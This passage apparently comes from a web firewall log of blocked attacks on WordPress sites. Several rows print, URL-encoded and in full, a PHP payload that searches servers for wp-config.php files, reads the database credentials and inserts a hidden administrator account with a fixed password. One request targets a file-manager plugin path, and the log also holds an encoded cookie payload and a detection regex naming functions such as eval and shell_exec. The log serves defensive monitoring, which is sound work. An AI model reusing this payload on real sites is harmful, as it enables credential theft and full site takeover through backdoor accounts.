20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12640\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDH0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\n\nAM=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 05:30:42","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tC:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs